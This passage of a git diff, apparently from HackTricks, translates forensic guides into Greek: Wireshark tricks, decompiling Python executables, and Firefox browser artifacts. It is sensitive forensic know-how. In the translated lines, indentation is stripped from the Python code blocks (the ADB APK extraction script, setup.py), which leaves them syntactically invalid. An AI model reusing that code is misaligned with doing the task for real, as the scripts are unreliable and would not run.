φίλτρα ftp/http/ssh/telnet είναι χρήσιμα εάν έχετε αποκρυπτογραφήσει την κίνηση. -## Decrypt Traffic +## Αποκρυπτογράφηση Κίνησης Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 6565bd680..cd1ab8f4a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Improve your Wireshark skills +## Βελτιώστε τις δεξιότητές σας στο Wireshark ### Tutorials -The following tutorials are amazing to learn some cool basic tricks: +Τα παρακάτω tutorials είναι καταπληκτικά για να μάθετε μερικά ωραία βασικά κόλπα: - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) @@ -17,73 +17,73 @@ The following tutorials are amazing to learn some cool basic tricks: **Expert Information** -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**: +Κάνοντας κλικ στο _**Analyze** --> **Expert Information**_ θα έχετε μια **επισκόπηση** του τι συμβαίνει στα πακέτα **που αναλύθηκαν**: ![](<../../../images/image (256).png>) **Resolved Addresses** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +Κάτω από _**Statistics --> Resolved Addresses**_ μπορείτε να βρείτε πολλές **πληροφορίες** που "έχουν **επιλυθεί**" από το wireshark όπως θύρα/μεταφορά σε πρωτόκολλο, MAC στον κατασκευαστή, κ.λπ. Είναι ενδιαφέρον να γνωρίζετε τι εμπλέκεται στην επικοινωνία. ![](<../../../images/image (893).png>) **Protocol Hierarchy** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +Κάτω από _**Statistics --> Protocol Hierarchy**_ μπορείτε να βρείτε τα **πρωτόκολλα** **που εμπλέκονται** στην επικοινωνία και δεδομένα σχετικά με αυτά. ![](<../../../images/image (586).png>) **Conversations** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +Κάτω από _**Statistics --> Conversations**_ μπορείτε να βρείτε μια **σύνοψη των συνομιλιών** στην επικοινωνία και δεδομένα σχετικά με αυτές. ![](<../../../images/image (453).png>) **Endpoints** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +Κάτω από _**Statistics --> Endpoints**_ μπορείτε να βρείτε μια **σύνοψη των endpoints** στην επικοινωνία και δεδομένα σχετικά με το καθένα από αυτά. ![](<../../../images/image (896).png>) **DNS info** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +Κάτω από _**Statistics --> DNS**_ μπορείτε να βρείτε στατιστικά σχετικά με το DNS αίτημα που καταγράφηκε. ![](<../../../images/image (1063).png>) **I/O Graph** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +Κάτω από _**Statistics --> I/O Graph**_ μπορείτε να βρείτε ένα **γράφημα της επικοινωνίας.** ![](<../../../images/image (992).png>) ### Filters -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +Εδώ μπορείτε να βρείτε φίλτρα wireshark ανάλογα με το πρωτόκολλο: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +Άλλα ενδιαφέροντα φίλτρα: - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic +- HTTP και αρχική κίνηση HTTPS - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN +- HTTP και αρχική κίνηση HTTPS + TCP SYN - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN + DNS requests +- HTTP και αρχική κίνηση HTTPS + TCP SYN + DNS αιτήματα ### Search -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +Αν θέλετε να **αναζητήσετε** **περιεχόμενο** μέσα στα **πακέτα** των συνεδριών πατήστε _CTRL+f_. Μπορείτε να προσθέσετε νέα επίπεδα στη βασική γραμμή πληροφοριών (No., Χρόνος, Πηγή, κ.λπ.) πατώντας το δεξί κουμπί και στη συνέχεια την επεξεργασία στήλης. ### Free pcap labs -**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) +**Εξασκηθείτε με τις δωρεάν προκλήσεις του:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) ## Identifying Domains -You can add a column that shows the Host HTTP header: +Μπορείτε να προσθέσετε μια στήλη που να δείχνει την κεφαλίδα Host HTTP: ![](<../../../images/image (639).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +Και μια στήλη που προσθέτει το όνομα του διακομιστή από μια αρχική σύνδεση HTTPS (**ssl.handshake.type == 1**): ![](<../../../images/image (408) (1).png>) @@ -91,7 +91,7 @@ And a column that add the Server name from an initiating HTTPS connection (**ssl ### From DHCP -In current Wireshark instead of `bootp` you need to search for `DHCP` +Στο τρέχον Wireshark αντί για `bootp` πρέπει να αναζητήσετε `DHCP` ![](<../../../images/image (1013).png>) @@ -107,51 +107,49 @@ _edit>preference>protocol>ssl>_ ![](<../../../images/image (1103).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +Πατήστε _Edit_ και προσθέστε όλα τα δεδομένα του διακομιστή και το ιδιωτικό κλειδί (_IP, Θύρα, Πρωτόκολλο, Αρχείο κλειδιού και κωδικό πρόσβασης_) ### Decrypting https traffic with symmetric session keys -Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). +Και οι δύο Firefox και Chrome έχουν τη δυνατότητα να καταγράφουν τα κλειδιά συνεδρίας TLS, τα οποία μπορούν να χρησιμοποιηθούν με το Wireshark για να αποκρυπτογραφήσουν την κίνηση TLS. Αυτό επιτρέπει σε βάθος ανάλυση των ασφαλών επικοινωνιών. Περισσότερες λεπτομέρειες σχετικά με το πώς να εκτελέσετε αυτήν την αποκρυπτογράφηση μπορείτε να βρείτε σε έναν οδηγό στο [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +Για να το ανιχνεύσετε αναζητήστε μέσα στο περιβάλλον τη μεταβλητή `SSLKEYLOGFILE` -A file of shared keys will look like this: +Ένα αρχείο κοινών κλειδιών θα φαίνεται έτσι: ![](<../../../images/image (820).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +Για να το εισάγετε στο wireshark πηγαίνετε στο \_edit > preference > protocol > ssl > και εισάγετε το στο (Pre)-Master-Secret log filename: ![](<../../../images/image (989).png>) ## ADB communication -Extract an APK from an ADB communication where the APK was sent: - +Εξαγάγετε ένα APK από μια επικοινωνία ADB όπου το APK στάλθηκε: ```python from scapy.all import * pcap = rdpcap("final2.pcapng") def rm_data(data): - splitted = data.split(b"DATA") - if len(splitted) == 1: - return data - else: - return splitted[0]+splitted[1][4:] +splitted = data.split(b"DATA") +if len(splitted) == 1: +return data +else: +return splitted[0]+splitted[1][4:] all_bytes = b"" for pkt in pcap: - if Raw in pkt: - a = pkt[Raw] - if b"WRTE" == bytes(a)[:4]: - all_bytes += rm_data(bytes(a)[24:]) - else: - all_bytes += rm_data(bytes(a)) +if Raw in pkt: +a = pkt[Raw] +if b"WRTE" == bytes(a)[:4]: +all_bytes += rm_data(bytes(a)[24:]) +else: +all_bytes += rm_data(bytes(a)) print(all_bytes) f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..9827b9744 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Αποσυμπίεση συμπιεσμένων εκτελέσιμων αρχείων python (exe, elf) - Ανάκτηση από .pyc {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## Από Συμπιεσμένο Εκτελέσιμο σε .pyc +Από ένα **ELF** συμπιεσμένο εκτελέσιμο μπορείτε να **πάρετε το .pyc** με: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +Σε ένα **python exe binary** που έχει μεταγλωττιστεί, μπορείτε να **πάρετε το .pyc** εκτελώντας: ```bash python pyinstxtractor.py executable.exe ``` +## Από .pyc σε κώδικα python -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +Για τα **.pyc** δεδομένα ("συμπιεσμένος" python) θα πρέπει να ξεκινήσετε προσπαθώντας να **εξαγάγετε** τον **αρχικό** **κώδικα** **python**: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Βεβαιωθείτε** ότι το δυαδικό αρχείο έχει την **επέκταση** "**.pyc**" (αν όχι, το uncompyle6 δεν θα λειτουργήσει) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +Κατά την εκτέλεση του **uncompyle6** μπορεί να συναντήσετε τα **παρακάτω σφάλματα**: +### Σφάλμα: Άγνωστος μαγικός αριθμός 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Για να το διορθώσετε, πρέπει να **προσθέσετε τον σωστό μαγικό αριθμό** στην αρχή του παραγόμενου αρχείου. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**Οι μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση της python**, για να αποκτήσετε τον μαγικό αριθμό της **python 3.8** θα χρειαστεί να **ανοίξετε ένα τερματικό python 3.8** και να εκτελέσετε: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +Ο **μαγικός αριθμός** σε αυτή την περίπτωση για python3.8 είναι **`0x550d0d0a`**, στη συνέχεια, για να διορθώσετε αυτό το σφάλμα θα χρειαστεί να **προσθέσετε** στην **αρχή** του **.pyc αρχείου** τα εξής bytes: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Μόλις** έχετε **προσθέσει** αυτή την μαγική κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.** +Έτσι θα φαίνεται μια σωστά προστιθέμενη **.pyc python3.8 μαγική κεφαλίδα**: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Σφάλμα: Αποσυμπίεση γενικών σφαλμάτων -### Error: Decompiling generic errors +**Άλλα σφάλματα** όπως: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` μπορεί να εμφανιστούν. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Αυτό πιθανώς σημαίνει ότι **δεν έχετε προσθέσει σωστά** τον μαγικό αριθμό ή ότι δεν έχετε **χρησιμοποιήσει** τον **σωστό μαγικό αριθμό**, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Ελέγξτε την τεκμηρίωση του προηγούμενου σφάλματος. -Check the previous error documentation. +## Αυτόματο Εργαλείο -## Automatic Tool +Το [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) λειτουργεί ως συνδυασμός αρκετών εργαλείων διαθέσιμων στην κοινότητα που έχουν σχεδιαστεί για να βοηθήσουν τους ερευνητές στην αποσυμπίεση και αποσυμπίεση εκτελέσιμων αρχείων γραμμένων σε Python, συγκεκριμένα αυτών που δημιουργήθηκαν με py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για να προσδιορίσει αν ένα εκτελέσιμο είναι βασισμένο σε Python και επιβεβαιώνει το εργαλείο δημιουργίας. -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: Όνομα αρχείου: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' δεν υπάρχει -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +Ένα κοινό πρόβλημα που συναντάται περιλαμβάνει ένα ατελές αρχείο bytecode Python που προκύπτει από τη **διαδικασία αποσυμπίεσης με unpy2exe ή pyinstxtractor**, το οποίο στη συνέχεια **αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω έλλειψης αριθμού έκδοσης bytecode Python**. Για να αντιμετωπιστεί αυτό, έχει προστεθεί μια επιλογή prepend, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυμπίεσης. +Παράδειγμα του προβλήματος: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Ανάλυση της συναρμολόγησης python -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Αν δεν μπορέσατε να εξαγάγετε τον "αρχικό" κώδικα python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξαγάγετε** τη **συναρμολόγηση** (αλλά **δεν είναι πολύ περιγραφική**, οπότε **προσπαθήστε** να εξαγάγετε **ξανά** τον αρχικό κώδικα). Στο [εδώ](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για να **αποσυναρμολογήσετε** το _.pyc_ δυαδικό (καλή τύχη στην κατανόηση της ροής του κώδικα). Αν το _.pyc_ είναι από python2, χρησιμοποιήστε python2: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python σε Εκτελέσιμο -## Python to Executable +Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν να μεταγλωττιστούν οι payloads σε py2exe και PyInstaller. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### Για να δημιουργήσετε μια payload χρησιμοποιώντας py2exe: +1. Εγκαταστήστε το πακέτο py2exe από [http://www.py2exe.org/](http://www.py2exe.org) +2. Για την payload (σε αυτή την περίπτωση, θα την ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό στην Εικόνα 1. Η επιλογή “bundle_files” με την τιμή 1 θα συνδυάσει τα πάντα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα exe. +3. Μόλις το σενάριο είναι έτοιμο, θα εκδώσουμε την εντολή “python setup.py py2exe”. Αυτό θα δημιουργήσει το εκτελέσιμο, ακριβώς όπως στην Εικόνα 2. ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### Για να δημιουργήσετε ένα payload χρησιμοποιώντας το PyInstaller: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. Εγκαταστήστε το PyInstaller χρησιμοποιώντας το pip (pip install pyinstaller). +2. Μετά από αυτό, θα εκδώσουμε την εντολή “pyinstaller –onefile hello.py” (υπενθύμιση ότι το ‘hello.py’ είναι το payload μας). Αυτό θα συγκεντρώσει τα πάντα σε ένα εκτελέσιμο αρχείο. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Αναφορές - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..d15d9f444 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +Εδώ μπορείτε να βρείτε ενδιαφέροντα κόλπα για συγκεκριμένους τύπους αρχείων και/ή λογισμικό: {{#ref}} .pyc.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 104a7530f..e7a56f27a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -2,138 +2,128 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} - ## Browsers Artifacts -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. +Τα αρχεία του προγράμματος περιήγησης περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους web browsers, όπως το ιστορικό πλοήγησης, τα σελιδοδείκτες και τα δεδομένα cache. Αυτά τα αρχεία διατηρούνται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα μεταξύ των browsers, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων. -Here's a summary of the most common browser artifacts: +Ακολουθεί μια σύνοψη των πιο κοινών αρχείων του προγράμματος περιήγησης: -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **Ιστορικό Πλοήγησης**: Παρακολουθεί τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους. +- **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας πληροφορίες όταν συνδυάζονται με το ιστορικό πλοήγησης. +- **Σελιδοδείκτες**: Ιστότοποι που αποθηκεύει ο χρήστης για γρήγορη πρόσβαση. +- **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις ή πρόσθετα του προγράμματος περιήγησης που έχει εγκαταστήσει ο χρήστης. +- **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ., εικόνες, αρχεία JavaScript) για να βελτιώσει τους χρόνους φόρτωσης των ιστότοπων, πολύτιμο για την εγκληματολογική ανάλυση. +- **Συνδέσεις**: Αποθηκευμένα διαπιστευτήρια σύνδεσης. +- **Favicons**: Εικονίδια που σχετίζονται με ιστότοπους, που εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη. +- **Συνεδρίες Προγράμματος Περιήγησης**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες προγράμματος περιήγησης. +- **Λήψεις**: Καταγραφές αρχείων που έχουν ληφθεί μέσω του προγράμματος περιήγησης. +- **Δεδομένα Φόρμας**: Πληροφορίες που εισάγονται σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης. +- **Μικρογραφίες**: Εικόνες προεπισκόπησης ιστότοπων. +- **Custom Dictionary.txt**: Λέξεις που προστίθενται από τον χρήστη στο λεξικό του προγράμματος περιήγησης. ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Ο Firefox οργανώνει τα δεδομένα του χρήστη εντός προφίλ, αποθηκευμένα σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +Ένα αρχείο `profiles.ini` εντός αυτών των καταλόγων καταγράφει τα προφίλ χρηστών. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε έναν φάκελο που ονομάζεται στη μεταβλητή `Path` εντός του `profiles.ini`, που βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` ίδιο. Εάν λείπει ο φάκελος ενός προφίλ, μπορεί να έχει διαγραφεί. -Within each profile folder, you can find several important files: +Μέσα σε κάθε φάκελο προφίλ, μπορείτε να βρείτε αρκετά σημαντικά αρχεία: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και λήψεις. Εργαλεία όπως το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) στα Windows μπορούν να έχουν πρόσβαση στα δεδομένα ιστορικού. +- Χρησιμοποιήστε συγκεκριμένα SQL queries για να εξαγάγετε πληροφορίες ιστορικού και λήψεων. +- **bookmarkbackups**: Περιέχει αντίγραφα ασφαλείας των σελιδοδεικτών. +- **formhistory.sqlite**: Αποθηκεύει δεδομένα φόρμας ιστού. +- **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλων. +- **persdict.dat**: Λέξεις προσαρμοσμένου λεξικού. +- **addons.json** και **extensions.sqlite**: Πληροφορίες 